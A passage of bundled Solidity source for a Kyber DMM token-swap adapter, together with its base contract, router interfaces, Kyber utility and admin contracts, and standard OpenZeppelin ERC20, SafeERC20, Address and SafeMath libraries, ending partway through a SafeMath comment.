contract KyberDmm is BaseSwap {
using SafeMath for uint256;
using Address for address;
using BytesLib for bytes;
IDMMRouter public dmmRouter;
event UpdatedDmmRouter(IDMMRouter router);
constructor(address _admin, IDMMRouter router) BaseSwap(_admin) {
dmmRouter = router;
}
function updateDmmRouter(IDMMRouter router) external onlyAdmin {
dmmRouter = router;
emit UpdatedDmmRouter(dmmRouter);
}
function getExpectedReturn(GetExpectedReturnParams calldata params)
external
view
override
onlyProxyContract
returns (uint256 destAmount)
{
address[] memory pools = parseExtraArgs(params.tradePath.length - 1, params.extraArgs);
IERC20[] memory tradePathErc = new IERC20[](params.tradePath.length);
for (uint256 i = 0; i < params.tradePath.length; i++) {
tradePathErc[i] = IERC20(params.tradePath[i]);
}
uint256[] memory amounts = dmmRouter.getAmountsOut(params.srcAmount, pools, tradePathErc);
destAmount = amounts[params.tradePath.length - 1];
}
function getExpectedIn(GetExpectedInParams calldata params)
external
view
override
onlyProxyContract
returns (uint256 srcAmount)
{
address[] memory pools = parseExtraArgs(params.tradePath.length - 1, params.extraArgs);
IERC20[] memory tradePathErc = new IERC20[](params.tradePath.length);
for (uint256 i = 0; i < params.tradePath.length; i++) {
tradePathErc[i] = IERC20(params.tradePath[i]);
}
uint256[] memory amounts = dmmRouter.getAmountsIn(params.destAmount, pools, tradePathErc);
srcAmount = amounts[0];
}
/// @dev swap token via a supported UniSwap router
/// @notice for some tokens that are paying fee, for example: DGX
/// contract will trade with received src token amount (after minus fee)
/// for UniSwap, fee will be taken in src token
function swap(SwapParams calldata params)
external
payable
override
onlyProxyContract
returns (uint256 destAmount)
{
require(params.tradePath.length >= 2, "invalid tradePath");
address[] memory pools = parseExtraArgs(params.tradePath.length - 1, params.extraArgs);
safeApproveAllowance(address(dmmRouter), IERC20Ext(params.tradePath[0]));
uint256 tradeLen = params.tradePath.length;
IERC20Ext actualSrc = IERC20Ext(params.tradePath[0]);
IERC20Ext actualDest = IERC20Ext(params.tradePath[tradeLen - 1]);
// convert eth/bnb -> weth/wbnb address to trade on Uni
IERC20[] memory convertedTradePath = new IERC20[](params.tradePath.length);
for (uint256 i = 0; i < params.tradePath.length; i++) {
convertedTradePath[i] = params.tradePath[i] == address(ETH_TOKEN_ADDRESS)
? dmmRouter.weth()
: IERC20(params.tradePath[i]);
}
uint256 destBalanceBefore = getBalance(actualDest, params.recipient);
if (actualSrc == ETH_TOKEN_ADDRESS) {
// swap eth/bnb -> token
dmmRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: params.srcAmount}(
params.minDestAmount,
pools,
convertedTradePath,
params.recipient,
MAX_AMOUNT
);
} else {
if (actualDest == ETH_TOKEN_ADDRESS) {
// swap token -> eth/bnb
dmmRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
params.srcAmount,
params.minDestAmount,
pools,
convertedTradePath,
params.recipient,
MAX_AMOUNT
);
} else {
// swap token -> token
dmmRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
params.srcAmount,
params.minDestAmount,
pools,
convertedTradePath,
params.recipient,
MAX_AMOUNT
);
}
}
destAmount = getBalance(actualDest, params.recipient).sub(destBalanceBefore);
}
/// @param extraArgs expecting <[20B] address pool1><[20B] address pool2><[20B] address pool3>...
function parseExtraArgs(uint256 poolLength, bytes calldata extraArgs)
internal
pure
returns (address[] memory pools)
{
pools = new address[](poolLength);
for (uint256 i = 0; i < poolLength; i++) {
pools[i] = extraArgs.toAddress(i * 20);
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma abicoder v2;
import "@kyber.network/utils-sc/contracts/Withdrawable.sol";
import "@kyber.network/utils-sc/contracts/Utils.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./ISwap.sol";
abstract contract BaseSwap is ISwap, Withdrawable, Utils {
using SafeERC20 for IERC20Ext;
using SafeMath for uint256;
uint256 internal constant MAX_AMOUNT = type(uint256).max;
address public proxyContract;
event UpdatedproxyContract(address indexed _oldProxyImpl, address indexed _newProxyImpl);
modifier onlyProxyContract() {
require(msg.sender == proxyContract, "only swap impl");
_;
}
constructor(address _admin) Withdrawable(_admin) {}
receive() external payable {}
function updateProxyContract(address _proxyContract) external onlyAdmin {
require(_proxyContract != address(0), "invalid swap impl");
emit UpdatedproxyContract(proxyContract, _proxyContract);
proxyContract = _proxyContract;
}
// Swap contracts don't keep funds. It's safe to set the max allowance
function safeApproveAllowance(address spender, IERC20Ext token) internal {
if (token != ETH_TOKEN_ADDRESS && token.allowance(address(this), spender) == 0) {
token.safeApprove(spender, MAX_ALLOWANCE);
}
}
}
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IWeth.sol";
interface IDMMFactory {
function createPool(
IERC20 tokenA,
IERC20 tokenB,
uint32 ampBps
) external returns (address pool);
function getPools(IERC20 token0, IERC20 token1)
external
view
returns (address[] memory _tokenPools);
}
interface IDMMRouter {
function factory() external pure returns (address);
function weth() external pure returns (IWeth);
function getAmountsOut(
uint256 amountIn,
address[] calldata poolsPath,
IERC20[] calldata path
) external view returns (uint256[] memory amounts);
function getAmountsIn(
uint256 amountOut,
address[] calldata poolsPath,
IERC20[] calldata path
) external view returns (uint256[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(
IERC20 token,
address pool,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
IERC20 token,
address pool,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata poolsPath,
IERC20[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata poolsPath,
IERC20[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata poolsPath,
IERC20[] calldata path,
address to,
uint256 deadline
) external;
}
pragma solidity 0.7.6;
library BytesLib {
function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) {
require(_start + 20 >= _start, "toAddress_overflow");
require(_bytes.length >= _start + 20, "toAddress_outOfBounds");
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint24(bytes memory _bytes, uint256 _start) internal pure returns (uint24) {
require(_start + 3 >= _start, "toUint24_overflow");
require(_bytes.length >= _start + 3, "toUint24_outOfBounds");
uint24 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x3), _start))
}
return tempUint;
}
function toUint256(bytes memory _bytes, uint256 _start) internal pure returns (uint256) {
require(_start + 32 >= _start, "toUint256_overflow");
require(_bytes.length >= _start + 32, "toUint256_outOfBounds");
uint256 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x20), _start))
}
return tempUint;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @dev Interface extending ERC20 standard to include decimals() as
* it is optional in the OpenZeppelin IERC20 interface.
*/
interface IERC20Ext is IERC20 {
/**
* @dev This function is required as Kyber requires to interact
* with token.decimals() with many of its operations.
*/
function decimals() external view returns (uint8 digits);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./IERC20Ext.sol";
import "./PermissionAdmin.sol";
abstract contract Withdrawable is PermissionAdmin {
using SafeERC20 for IERC20Ext;
event TokenWithdraw(IERC20Ext token, uint256 amount, address sendTo);
event EtherWithdraw(uint256 amount, address sendTo);
constructor(address _admin) PermissionAdmin(_admin) {}
/**
* @dev Withdraw all IERC20Ext compatible tokens
* @param token IERC20Ext The address of the token contract
*/
function withdrawToken(
IERC20Ext token,
uint256 amount,
address sendTo
) external onlyAdmin {
token.safeTransfer(sendTo, amount);
emit TokenWithdraw(token, amount, sendTo);
}
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint256 amount, address payable sendTo) external onlyAdmin {
(bool success, ) = sendTo.call{value: amount}("");
require(success, "withdraw failed");
emit EtherWithdraw(amount, sendTo);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./IERC20Ext.sol";
/**
* @title Kyber utility file
* mostly shared constants and rate calculation helpers
* inherited by most of kyber contracts.
* previous utils implementations are for previous solidity versions.
*/
abstract contract Utils {
// Declared constants below to be used in tandem with
// getDecimalsConstant(), for gas optimization purposes
// which return decimals from a constant list of popular
// tokens.
IERC20Ext internal constant ETH_TOKEN_ADDRESS = IERC20Ext(
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
);
IERC20Ext internal constant USDT_TOKEN_ADDRESS = IERC20Ext(
0xdAC17F958D2ee523a2206206994597C13D831ec7
);
IERC20Ext internal constant DAI_TOKEN_ADDRESS = IERC20Ext(
0x6B175474E89094C44Da98b954EedeAC495271d0F
);
IERC20Ext internal constant USDC_TOKEN_ADDRESS = IERC20Ext(
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48
);
IERC20Ext internal constant WBTC_TOKEN_ADDRESS = IERC20Ext(
0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599
);
IERC20Ext internal constant KNC_TOKEN_ADDRESS = IERC20Ext(
0xdd974D5C2e2928deA5F71b9825b8b646686BD200
);
uint256 public constant BPS = 10000; // Basic Price Steps. 1 step = 0.01%
uint256 internal constant PRECISION = (10**18);
uint256 internal constant MAX_QTY = (10**28); // 10B tokens
uint256 internal constant MAX_RATE = (PRECISION * 10**7); // up to 10M tokens per eth
uint256 internal constant MAX_DECIMALS = 18;
uint256 internal constant ETH_DECIMALS = 18;
uint256 internal constant MAX_ALLOWANCE = uint256(-1); // token.approve inifinite
mapping(IERC20Ext => uint256) internal decimals;
/// @dev Sets the decimals of a token to storage if not already set, and returns
/// the decimals value of the token. Prefer using this function over
/// getDecimals(), to avoid forgetting to set decimals in local storage.
/// @param token The token type
/// @return tokenDecimals The decimals of the token
function getSetDecimals(IERC20Ext token) internal returns (uint256 tokenDecimals) {
tokenDecimals = getDecimalsConstant(token);
if (tokenDecimals > 0) return tokenDecimals;
tokenDecimals = decimals[token];
if (tokenDecimals == 0) {
tokenDecimals = token.decimals();
decimals[token] = tokenDecimals;
}
}
/// @dev Get the balance of a user
/// @param token The token type
/// @param user The user's address
/// @return The balance
function getBalance(IERC20Ext token, address user) internal view returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) {
return user.balance;
} else {
return token.balanceOf(user);
}
}
/// @dev Get the decimals of a token, read from the constant list, storage,
/// or from token.decimals(). Prefer using getSetDecimals when possible.
/// @param token The token type
/// @return tokenDecimals The decimals of the token
function getDecimals(IERC20Ext token) internal view returns (uint256 tokenDecimals) {
// return token decimals if has constant value
tokenDecimals = getDecimalsConstant(token);
if (tokenDecimals > 0) return tokenDecimals;
// handle case where token decimals is not a declared decimal constant
tokenDecimals = decimals[token];
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
return (tokenDecimals > 0) ? tokenDecimals : token.decimals();
}
function calcDestAmount(
IERC20Ext src,
IERC20Ext dest,
uint256 srcAmount,
uint256 rate
) internal view returns (uint256) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(
IERC20Ext src,
IERC20Ext dest,
uint256 destAmount,
uint256 rate
) internal view returns (uint256) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcDstQty(
uint256 srcQty,
uint256 srcDecimals,
uint256 dstDecimals,
uint256 rate
) internal pure returns (uint256) {
require(srcQty <= MAX_QTY, "srcQty > MAX_QTY");
require(rate <= MAX_RATE, "rate > MAX_RATE");
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(
uint256 dstQty,
uint256 srcDecimals,
uint256 dstDecimals,
uint256 rate
) internal pure returns (uint256) {
require(dstQty <= MAX_QTY, "dstQty > MAX_QTY");
require(rate <= MAX_RATE, "rate > MAX_RATE");
//source quantity is rounded up. to avoid dest quantity being too low.
uint256 numerator;
uint256 denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
function calcRateFromQty(
uint256 srcAmount,
uint256 destAmount,
uint256 srcDecimals,
uint256 dstDecimals
) internal pure returns (uint256) {
require(srcAmount <= MAX_QTY, "srcAmount > MAX_QTY");
require(destAmount <= MAX_QTY, "destAmount > MAX_QTY");
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
return ((destAmount * PRECISION) / ((10**(dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
return ((destAmount * PRECISION * (10**(srcDecimals - dstDecimals))) / srcAmount);
}
}
/// @dev save storage access by declaring token decimal constants
/// @param token The token type
/// @return token decimals
function getDecimalsConstant(IERC20Ext token) internal pure returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) {
return ETH_DECIMALS;
} else if (token == USDT_TOKEN_ADDRESS) {
return 6;
} else if (token == DAI_TOKEN_ADDRESS) {
return 18;
} else if (token == USDC_TOKEN_ADDRESS) {
return 6;
} else if (token == WBTC_TOKEN_ADDRESS) {
return 8;
} else if (token == KNC_TOKEN_ADDRESS) {
return 18;
} else {
return 0;
}
}
function minOf(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? y : x;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma abicoder v2;
interface ISwap {
struct GetExpectedReturnParams {
uint256 srcAmount;
address[] tradePath;
uint256 feeBps;
bytes extraArgs;
}
function getExpectedReturn(GetExpectedReturnParams calldata params)
external
view
returns (uint256 destAmount);
struct GetExpectedInParams {
uint256 destAmount;
address[] tradePath;
uint256 feeBps;
bytes extraArgs;
}
function getExpectedIn(GetExpectedInParams calldata params)
external
view
returns (uint256 srcAmount);
struct SwapParams {
uint256 srcAmount;
// min return for uni, min conversionrate for kyber, etc.
uint256 minDestAmount;
address[] tradePath;
address recipient;
uint256 feeBps;
address payable feeReceiver;
bytes extraArgs;
}
function swap(SwapParams calldata params) external payable returns (uint256 destAmount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
abstract contract PermissionAdmin {
address public admin;
address public pendingAdmin;
event AdminClaimed(address newAdmin, address previousAdmin);
event TransferAdminPending(address pendingAdmin);
constructor(address _admin) {
require(_admin != address(0), "admin 0");
admin = _admin;
}
modifier onlyAdmin() {
require(msg.sender == admin, "only admin");
_;
}
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0), "new admin 0");
emit TransferAdminPending(newAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0), "admin 0");
emit TransferAdminPending(newAdmin);
emit AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender, "not pending");
emit AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
